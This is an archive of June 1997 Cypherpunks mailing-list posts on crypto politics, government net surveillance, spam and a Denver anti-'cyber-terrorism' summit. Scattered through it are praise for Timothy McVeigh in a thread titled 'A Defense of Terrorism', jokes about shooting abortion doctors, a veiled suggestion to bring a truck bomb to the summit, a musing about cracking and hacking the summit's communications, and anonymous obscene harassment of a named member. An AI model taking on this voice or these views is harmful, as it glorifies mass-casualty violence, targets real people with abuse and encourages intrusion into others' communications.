Imagine a very primitive society on some sort a of Pacific Island, where
people live in relative deprivation and obey the Chief, whose main duties are
to deflower the virgins, and to allocate the meager coconut harvest "fairly".
Some bright islander invents a way to grow many times as much coconut as
before, making the Chief unneeded (say, he discovers that if you shit on the
roots of the palm tree, it acts as a fertilizer :-). The Chief will try to use
whatever means are at his disposal to preserve his power, starting with
regulatory (declaring that to shit on palm tree roots is blasphemy), to
extreme violence (punishing such blasphemy by torture and death), because the
invention, even though non-violent, threatens his rule.

Get it?

Now replace "shitting on palm tree roots" with "anonymous digital commerce".

> If thats the case then Stalin was
> the ultimate hypocrite when his wonderful revolution attained of
> temporary system of government.  That system of government was unstable
> in that in failed to allow people to provide for their own and each
> other's welfare through free market activity.

Irrelevant to what I was talking about.

> As resistance to centralized modes of production increased (especially
> with the farmers), the central government systematically starved 20
> million people to death.

Irrelevant to what I was talking about, and not quite true.

(The number of farmers starved to death was at most 6 million; many others
died elsewhere. Yes, Stalin used arguments such as the one I cited as the
theoritical justification for the forcible farm collectivization (actually
invented by Trotsky :-)).

> Reminds me a lot of Orwell's "Animal Farm".
>
> Though I do agree in principle with the idea that corruption runs rampant
> at the end of a megapolitical era (for more or less the same reasons),
> Stalin was not the first to have this idea.   For a run-down on this
> concept check out the much-maligned "Sovereign Individual".
>
>
> > Consider, for example, a Black child in the United States who dies of
> > a trivial curable disease because of the lack of health care. Consider
> > the child's parents who labor "off the books" in menial jobs, who are
> > deprived by the state from the ability to marry, to work "on the books",
> > to hold a bank account, et al. Is being deprived from the results of one's
> > labor that different from being sold at an auctioned and whipped in
> > a public ceremony to terrify other (wage) slaves?
> >
>
> No.  I agree with you here.  I think the difference is in the resolve
> of the individuals under this kind of pressure.
>
> > Joe Stalin himself took part in several spectacular terrorist acts in
> > his youth, which resulted in deaths of dozens of "innocent bystanders".
>
> make that millions

Not in his youth.

Before Stalin got in the position of ordering his minion to kill millions
of people, he used to be a "hands-on" terrorist - blowing up Tsarist
officials, robbing banks, killing numbers of "innocent bystanders".

> > Prepare for crypto to be criminalzed.
>
> definitely.  but under what system of law?  for all practical purposes the
> constitution is null and void.  the people that run this country do so
> under the guise of constitutionalism, but its all a grand facade.  the
> whole idea of the current government is a type of consensual reality.
> (literally so, perhaps?)  When enough people agree that the version of
> reality no longer serves them, they will agree that it doesn't exist.
>
> This, of course, assumes they have the power to alter it.

Under the same system of law that criminalizes mj, sex for teenagers,
"sodomy" between concenting adults, driving over 55, tax evasion, et al.

> > Prepare for the former cpunks who
> > "sold out" (C2Net and the like) to support criminalization of crypto use
> > within the U.S. in exchange for a possible relexation of export rules.
>
> I'm not sure I understand why you assert that C2Net "sold out".  I was
> probably out of town at the time this discussion went down.

Yes - review the list archives. C2Net supports criminalizing domestic use of
encryption for the first time, and also sends threatening lawyer letters to
security experts who question their products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Fri Jun  6 06:16:07 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 6 Jun 1997 21:16:07 +0800
Subject: Dimitri McVeigh
In-Reply-To: <199706060336.XAA23074@dhp.com>
Message-ID: 




>   Dimitri has long pushed the envelope of censorship and challenged
> those who don't like it to do something about it.
>   The reason that Hallam-Baker is able to post thinly veiled "Dimitri
> is a cocksucker!" messages to the list is because Dimitri refused to
> lay down and quit when he was forcibly censored for his "Gilmore is
> a cocksucker!" messages. If the censorship coupe d'etat had succeded,
> then Hallam-Baker's post would have been trashed into the flames list.

Yes, Hallam-Baker seems unable to handle a killfile.

>   The bottom line is that Hallam-Baker's demeaning of Dimitri without
> facing censorship on this list and on USENET is partly the result of
> the efforts of Dimitri, himself, to fight censorship.
>   This is not surprising, since, after all, Dimitri is a cypherpunk.
> (Despite all of his claims to the contrary.)

I think the "John Gilmore is a cocksucker", along with the 
OBModeratorFodder material played a strong part in bringing about an 
uncensored list, it is often necessary to bring the censorous 
motherfuckers out into the open, there is no better way to do this than 
posting rants they do not like, for a good example of this technique see 
Dr. Grubor.
I should also note than not all Dimitri posts is one-line rants, not now 
anyway ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Fri Jun  6 06:23:08 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 6 Jun 1997 21:23:08 +0800
Subject: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: 





>   God bless Timothy McVeigh for exposing the mindless hypocrisy of the
> American people, as well as the _mindful_ hypocrisy of the Government
> Rulers of Amerika.

Indeed, while McVeigh, or the guilty person if it was not McVeigh, can be 
categorised as evil, because of his acceptance of the death of a few 
innocents just to get at the guilty, his acts are certainly interesting 
in terms of the reactions they elicit from people and the level of 
reactionism they provoke, of course, it is virtually impossible to have a 
reasonable discussion with any of the sheeple about an issue like this, 
they get scared.

>   Billy Graham, as the populist representative of Christianity, visits
> the White House but we are little likely to see him visiting McVeigh
> because some children's lives seem to be more precious than others, and
> those who take them are subject to different moral judgments.

Of course, the consent of the majority of the people in your particular 
corner of the world puts you above the law. Some innocents are more 
innocent than others.

>  Waco was nothing more than a "wake-up call" that many Americans slept
> through. Timothy MvVeigh did not--he woke up and crowed loud enough for
> all of us to hear. The American government, people and press, however,
> want merely to shut him up and go back to sleep, pretending that there
> still isn't enough light to see their own sins and rectify them.

Acts of terrorism always have the same response though, of course McVeigh 
has been painted by the media as public enemy number 1 in the new 
Amerika, a far right extremist, I`m quite suprised actually the 
government didn`t try to put a racist spin on the killings.

>  Americans are now loudly calling for McVeigh to receive an electrical
> message complaining about the high cost of the breakfast bill on the 
> expense report he provided us.
>  I wouldn't be surprised if his final words were, "Eggs is eggs."

Of course, if a government building in some middle-eastern "dictatorship 
of the week" country had been blown up with great loss of life, the 
american press and elected scum would have been falling over themselves 
rushing to congratulate the "heroic American soldier" who had carried out 
this "great act of liberation". By the way, did you know bootlace 
production is up 300% and tobacco rations are going up comrade? 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From iwar at iwar.org  Fri Jun  6 06:51:39 1997
From: iwar at iwar.org (William Church)
Date: Fri, 6 Jun 1997 21:51:39 +0800
Subject: JIWAR Registration
In-Reply-To: <199706061120.EAA17123@shell2.ba.best.com>
Message-ID: <33981288.52B0@iwar.org>



Confirmed






From iwar at iwar.org  Fri Jun  6 07:27:25 1997
From: iwar at iwar.org (William Church)
Date: Fri, 6 Jun 1997 22:27:25 +0800
Subject: JIWAR Registration
In-Reply-To: <199706061346.GAA16919@shell2.ba.best.com>
Message-ID: <3398199A.1C04@iwar.org>



Confirmed with username cypherpunk1







From nexus at eskimo.com  Fri Jun  6 07:40:30 1997
From: nexus at eskimo.com (Brian Lane)
Date: Fri, 6 Jun 1997 22:40:30 +0800
Subject: One more step...
Message-ID: <33981dd6.622179@mail.eskimo.com>



-----BEGIN PGP SIGNED MESSAGE-----


I received this in the morning CNET news:

HOW PRIVATE IS YOUR NET SURFING? FBI VS. CDT BATTLE WILL DECIDE
   http://www.news.com/Radio/index.html?nd

At the FTC's online privacy hearings next week, the debate will turn
on the
FBI's right to "intercept" information on the Net. Listen to CNET
Radio to see
why the Center for Democracy and Technology wants the spooks to back
off.


  So where does the FBI think they get their 'right' to intercept net
traffic?
Who knows, but I'm sure its already happening and will continue to
happen no
matter what the FTC rules.

  Brian


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5geZKQxGtxXsXypAQFOeAP7BS9UAeFVxA2pokA7CSD/HwAgo3rGbFH6
Mm7ISfn7c4hK2sTVIcgCvCFJCDfXxXGPTuZOA7o9LEfE6b0TDw0JuJ1bbUkf9zqi
JkpSpLipesJz56bzMi//jNiY7I1Da5rWpYPSXn5EsrZ1WdslXsGs7uiBTMQFixcL
4bMO5o1LPtA=
=nD0+
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From lucifer at dhp.com  Fri Jun  6 07:47:07 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 22:47:07 +0800
Subject: Webpage picketing
Message-ID: <199706061436.KAA18298@dhp.com>



On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
 said:

>Well down here in Pensacola where we like to shoot abortion doctors I
>beleive that there is a 50' seperation (other side of the street).

Actually, this law was lobbied for by Zeiss Optical.  They're trying
to increase sales of rifle scopes.







From tcmay at got.net  Fri Jun  6 08:03:26 1997
From: tcmay at got.net (Tim May)
Date: Fri, 6 Jun 1997 23:03:26 +0800
Subject: Privacy-loving Europeans are at it again
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: 



At 5:19 AM -0700 6/6/97, John Young wrote:
>The New York Times reports on page one the German
>prosecution of a woman who linked her home page to
>Radikal. It reviews XS4ALL's role, describes Radikal
>and its mirror sites and links to them all:
>
>   http://www.nytimes.com/library/cyber/week/060697germany.html
>
>It says that Kohl is determined to find a way to police the
>Net in spite of technical work-a-rounds.
>
>Recall a previous report that Kohl and other heads of state are
>to meet in Denver on June 20-22 to plan a global attack
>on "cyber-terrorism," including the spread of encryption:
>
>   http://jya.com/denver.htm


Wait a minute, John! Aren't these the same Europeans described by Marc
Rotenberg as being more privacy- and liberty=loving than Americans?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Fri Jun  6 08:21:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 6 Jun 1997 23:21:07 +0800
Subject: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: 



At 8:19 am -0400 on 6/6/97, John Young wrote:


> Recall a previous report that Kohl and other heads of state are
> to meet in Denver on June 20-22 to plan a global attack
> on "cyber-terrorism," including the spread of encryption:
>
>    http://jya.com/denver.htm

Wow. What an opportunity for street theater *that* might be...

Anyone up for a little road-trip?

Yeah, I know. Everyone *else* has a *job*, or something... :-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From declan at pathfinder.com  Fri Jun  6 08:31:06 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 6 Jun 1997 23:31:06 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



I believe I received your response after I compiled the list.

I disagree with most of the folks below, but I included their positions
nevertheless. (Anyway, I suspect we agree on spam.)

-Declan



On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh  writes:
> 
> > Yesterday I forwarded questions about spam from a friend who was speaking
> > before the FTC next week. Here are most of the replies I received, which
> > I've attached below. Some may have appeared here already.
> >
> > From: glee harrah cady 
> > From: Wei Dai 
> > From: Stanton McCandlish 
> > From: Robert Moskowitz 
> > From: "Halpert, James - DC" 
> > From: Azeem Azhar 
> > From: Mark Grant 
> > From: Charlie Stross 
> > From: Bill Frantz 
> > From: "Shabbir J. Safdar" 
> > From: djones at insight.dcss.McMaster.CA (David Jones)
> > From: wyang at ktel.osc.edu
> > From: clinton at annoy.com (Clinton at Annoy)
> > From: Eric Murray 
> > From: Ray Everett-Church 
> > From: Chris Poupart 
> > From: "Marius  Loots" 
> > From: Roger Bohn 
> >
> 
> Declan didn't like what I wrote, so he deleted it.
> Good journalism.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 






From rah at shipwright.com  Fri Jun  6 08:35:16 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 6 Jun 1997 23:35:16 +0800
Subject: e$: The greater fool theory of Digicash, quantified, roughly
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 6 Jun 1997 10:05:34 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  Re: e$: The greater fool theory of Digicash, quantified, roughly

At 2:54 am -0400 on 6/6/97, somebody wrote:


> I don't think Chaum is in it for the money.  You say he has family money.
> This fact makes my contention more likely.

The paradox, of course, is that money is just a way of keeping score. :-).

If Chaum's aim was to make the blind signature patent as ubiquitous as
possible, he's failed just as miserably as if he were trying to make money
on it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jya at pipeline.com  Fri Jun  6 08:56:43 1997
From: jya at pipeline.com (John Young)
Date: Fri, 6 Jun 1997 23:56:43 +0800
Subject: Privacy-loving Europeans are at it again
Message-ID: <1.5.4.32.19970606154557.0089c1e0@pop.pipeline.com>



Tim May wrote:

>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty-loving than Americans?

Indeed, the same. The same as those righteous pastors 
who nudged us youngsters to sow oats across the Rio Grande
to protect the virtue of innocents who were delighted to sneak
away to join us and the mestizos in the dry creek bed just 
outside town.

The same as the generals and pols who now hector and
lecture us to deny their seignorial infidelities and cover-ups.

Heads of state, leaders of armies, defenders of law, hah!

Best show in years, watching these pigfesters finger each 
other while seen-it-all Virtue and Justice laugh and crook 
up the next quaverer ashaking.







From sl.kumar at student.qut.edu.au  Sat Jun  7 00:12:12 1997
From: sl.kumar at student.qut.edu.au (SHIVAANI KUMAR)
Date: Sat, 7 Jun 1997 00:12:12 -0700 (PDT)
Subject: No Subject
Message-ID: 


UNSUBSCRIBE cypherpunks






From jim.burnes at ssds.com  Fri Jun  6 09:25:11 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 7 Jun 1997 00:25:11 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: 





On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> (The number of farmers starved to death was at most 6 million; many others
> died elsewhere. Yes, Stalin used arguments such as the one I cited as the
> theoritical justification for the forcible farm collectivization (actually
> invented by Trotsky :-)).
> 

Thanks for the correction.  (geez...how often is that heard on this
group  ;-)  )

> > > Prepare for crypto to be criminalzed.
> >
> > definitely.  but under what system of law?  for all practical purposes the
> > constitution is null and void.  the people that run this country do so
> > under the guise of constitutionalism, but its all a grand facade.  the
> > whole idea of the current government is a type of consensual reality.
> > (literally so, perhaps?)  When enough people agree that the version of
> > reality no longer serves them, they will agree that it doesn't exist.
> >
> > This, of course, assumes they have the power to alter it.
> 
> Under the same system of law that criminalizes mj, sex for teenagers,
> "sodomy" between concenting adults, driving over 55, tax evasion, et al.
> 

I understand, but my point was that at some point the system of "law" 
became simply a system of supplicating the masses and no longer serves
justice.  When the system of law ceases to be a system of law and becomes
of system of corruption I no longer refer to it as law.  Important
Orwellian distinction.  Never let the bastards control the definitions and
language.

Clear thought on most matters can only occurr when the definitions
are clear and true.  If I said that my house was a thing with no
roof, no electricity, but it had a good cable hook-up, I may never
know what a real house is.  But I may sense the need to keep the 
rain off my head.

Oh well.  Its a hard thing to describe.

I guess its like the whole liberal debate on "assault weapons".  They even
have the conservative pro-gun types talking in those terms.  When your
opponent controls the language of the debate, they have already won.

> > > Prepare for the former cpunks who > > > "sold out" (C2Net
and the like) to support criminalization of crypto use

I said: I'm not sure I understand why you assert that C2Net "sold out". I
was probably out of town at the time this discussion went down.

You said: Yes - review the list archives. C2Net supports criminalizing
domestic use of  encryption for the first time, and also sends threatening
lawyer letters to  security experts who question their products.

If this is true (the bit about supporting criminalization of crypto) it
contradicts everything I know about Parekh.  Im not saying its not
possible, but did they really just come out and say it??

The part about using lawyers to threaten the people who question the
quality of their products is slimy, but predictable.

If you can give me a pointer to the relavent part of the archives
I'd appreciate it.

Jim Burnes







From jim.burnes at ssds.com  Fri Jun  6 09:33:26 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Sat, 7 Jun 1997 00:33:26 +0800
Subject: NYT on German Net Police
In-Reply-To: 
Message-ID: 





On Fri, 6 Jun 1997, Robert Hettinga wrote:

> At 8:19 am -0400 on 6/6/97, John Young wrote:
> 
> 
> > Recall a previous report that Kohl and other heads of state are
> > to meet in Denver on June 20-22 to plan a global attack
> > on "cyber-terrorism," including the spread of encryption:
> >
> >    http://jya.com/denver.htm
> 
> Wow. What an opportunity for street theater *that* might be...
> 
> Anyone up for a little road-trip?
> 
> Yeah, I know. Everyone *else* has a *job*, or something... :-).
> 
> Cheers,
> Bob Hettinga
> 

I live in Denver, Bob.  Let me know what you have in mind.  ;-)

Jim Burnes

PS: I've been wanting to track down some of my FC97 buddies.  Could
you forward me the FC97 mailing list? Thanx.








From jya at pipeline.com  Fri Jun  6 09:39:24 1997
From: jya at pipeline.com (John Young)
Date: Sat, 7 Jun 1997 00:39:24 +0800
Subject: NYT on German Net Police
Message-ID: <1.5.4.32.19970606162733.00915478@pop.pipeline.com>



Robert Hettinga wrote:

>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...


Excellent suggestion, Agent Provocateur (AP) Bob.

There is surely a PR connection between the McVeigh trial and the
cyber-terrorism summit. That promo's crucial for the counterterrorism
juggernaut.

Now, what would be the cyber-version of street theater?

For examp, the security arrangements for the trial will be broadened, 
and artfully leaked to the Denver-ensconced and equipped media, to 
promote and protect the priceless Derrieres of State.

But what might cyber-terribles do to work-a-round the highly
classified meat protections?

Confidential commo is crucial to yarping pols and talking heads, 
uplinks and unedited feeds are going to be zapping 'round the 
globe. What liberating theatrics could be exhibited spoofing, 
cracking, hacking, phreaking these urgent communiques to
ardent tax-henchers and sofa-ensconced tubers. 

Denver's Judge Downes sent a missive in plaintext to IRS, a 
spit in the bucket another Bob said. What about a bigger oyster
hawk at the lens and mikes of the leaders of the free worlds?

Do nothing illegal, for sure, just civilly disobedient.

(We'll put Downes's 17-age ruling up in a while.)






From tcmay at got.net  Fri Jun  6 09:45:27 1997
From: tcmay at got.net (Tim May)
Date: Sat, 7 Jun 1997 00:45:27 +0800
Subject: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: 



At 7:40 AM -0700 6/6/97, Robert Hettinga wrote:
>At 8:19 am -0400 on 6/6/97, John Young wrote:
>
>
>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...
>
>Anyone up for a little road-trip?
>
>Yeah, I know. Everyone *else* has a *job*, or something... :-).

No, I don't have a job.

But there's no way in hell I'm going to expose myself to imprisonment in a
German jail to make some metaphorical point about the resurgence of fascism
in Germany.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Fri Jun  6 09:47:42 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 7 Jun 1997 00:47:42 +0800
Subject: Privacy-loving Europeans are at it again
In-Reply-To: 
Message-ID: <199706061640.LAA09733@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/06/97 
   at 07:50 AM, Tim May  said:


>At 5:19 AM -0700 6/6/97, John Young wrote:
>>The New York Times reports on page one the German
>>prosecution of a woman who linked her home page to
>>Radikal. It reviews XS4ALL's role, describes Radikal
>>and its mirror sites and links to them all:
>>
>>   http://www.nytimes.com/library/cyber/week/060697germany.html
>>
>>It says that Kohl is determined to find a way to police the
>>Net in spite of technical work-a-rounds.
>>
>>Recall a previous report that Kohl and other heads of state are
>>to meet in Denver on June 20-22 to plan a global attack
>>on "cyber-terrorism," including the spread of encryption:
>>
>>   http://jya.com/denver.htm


>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty=loving than Americans?

Perhaps someone could donate a Rider Truck for the evnet. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5g+hY9Co1n+aLhhAQGe2QP+LV3F4e8D1zQAs1Nnfr1urAamUi4YEWK8
OJ1pITGxiIwWbdqeuygkAi6Zck5v5SOjJkkStVKQx8o3/x1ZrHoLJRo8ZyJlMSla
82W6zueXpoI7wiEArRWzEGa+MjZ2L7HDP93gug1olPwFnr8ynUgAlKenNyyF1fXx
pYAUW+ICkmo=
=cNx+
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Fri Jun  6 09:50:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 7 Jun 1997 00:50:14 +0800
Subject: Webpage picketing
In-Reply-To: <199706061436.KAA18298@dhp.com>
Message-ID: <199706061642.LAA09793@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706061436.KAA18298 at dhp.com>, on 06/06/97 
   at 10:36 AM, lucifer at dhp.com (lucifer Anonymous Remailer) said:


>On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
> said:

>>Well down here in Pensacola where we like to shoot abortion doctors I
>>beleive that there is a 50' seperation (other side of the street).

>Actually, this law was lobbied for by Zeiss Optical.  They're trying to
>increase sales of rifle scopes.

Heh, the free market will always find a workaround to government
regulation. :))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5g/AY9Co1n+aLhhAQE2jAP/dnuXDStYz6810HDAGIT+k9ZWWMq/5/gs
DXS8wQnhTQc2IX5coPMzX11Zu7L/Lo9q2E+1AcXOaqkGRz2j61viRgPDfqxSWJel
Eson2HsPTbhiMzDKLNKh3z/8Q2gNo6YPAunqnDCSmW75lcQX1bR6/kPtLP4jCJ1K
Kv/6hD6wf9o=
=s346
-----END PGP SIGNATURE-----






From ariel at watsun.cc.columbia.edu  Fri Jun  6 09:57:59 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Sat, 7 Jun 1997 00:57:59 +0800
Subject: more GAK crap
Message-ID: 



>From today's Nando Times...

Meeting reportedly will aim to fight obscenity on Internet

Copyright 1997 Nando.net
Copyright 1997 Agence France-Presse

TOKYO (June 6, 1997 11:43 a.m. EDT) - Japan, the United States and
European nations will hold an unprecedented ministerial
meeting next month to study ways to restrict obscenity on the Internet
and regulate electronic commerce, it was reported Friday.

The meeting in Bonn July 6-8 will focus on measures to crack down on
obscene and violent pictures on the Internet, Jiji Press
quoted informed sources as saying.

It will also discuss universal criteria for encoding information in
electronic commerce to protect private information, Jiji said.

Japan will be represented by the posts and telecommunications minister,
Hisao Horinouchi, the sources said.

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
#include 






From frantz at netcom.com  Fri Jun  6 10:09:49 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 7 Jun 1997 01:09:49 +0800
Subject: TV Commercial
In-Reply-To: 
Message-ID: 



At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From nobody at REPLAY.COM  Fri Jun  6 11:18:51 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 02:18:51 +0800
Subject: [URGENT] Sphere packings
Message-ID: <199706061806.UAA27392@basement.replay.com>



Tim C[unt] May's 16Kb brain's single 
convolution is directly wired to his rectum 
for input and his T1 mouth for output. That's 
16K bits, not bytes. Anal intercourse has 
caused extensive brain damage.

 ///////
 \-oo-/  Tim C[unt] May
  \--/
   \/






From mixmaster at remail.obscura.com  Fri Jun  6 12:00:03 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sat, 7 Jun 1997 03:00:03 +0800
Subject: No Subject
Message-ID: <199706061822.LAA23129@sirius.infonex.com>



Now is the time for all good little boys to cum in Tim C. May's big mouth.

            >\\\|/<
            |_    ;
            (O) (o)
        -OOO--(_)--OOOo- Tim C. May






From tzeruch at ceddec.com  Fri Jun  6 12:12:03 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 7 Jun 1997 03:12:03 +0800
Subject: Webpage picketing
In-Reply-To: <199706061642.LAA09793@mailhub.amaranth.com>
Message-ID: <97Jun6.150455edt.32257-1@brickwall.ceddec.com>



If I get spammed, one of my responses is to use a software agent to fill
out whatever response forms they have with nonsense that gets past their
filters.  Lynx has some very nice features for this.  Some sites charge by
the hit, so continually hitting a web page (so the counter is incremented) 
can also send the message. 







From stewarts at ix.netcom.com  Fri Jun  6 12:43:33 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 7 Jun 1997 03:43:33 +0800
Subject: Thomases lose appeal in second case
Message-ID: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>



Remember the Amateur Action BBS case from 1994, when Robert Thomas
got convicted by a Federal court in Tennessee for distributing pornography
on his BBS in California?  Well, he was also prosecuted in Utah 
for distributing pornography from the BBS (the Merc doesn't say if it 
was a state or federal prosecution, but it looks like state),
and he just lost his appeal in Federal court.  One of his defense arguments
was double jeopardy, and the court rejected that because the
Utah court busted him for different pictures than the Tennessee court.
While distributing child pornography is reprehensible, it's still
none of Utah's business; the ACLU lawyer defending Thomas says there's
no evidence that any Utah citizens actually downloaded any (except the
police).



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From cyber at ibpinc.com  Fri Jun  6 13:56:10 1997
From: cyber at ibpinc.com (Roger J Jones)
Date: Sat, 7 Jun 1997 04:56:10 +0800
Subject: FW: TV Commercial
Message-ID: <01BC7290.D17E3E60@PC1901>



Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that:

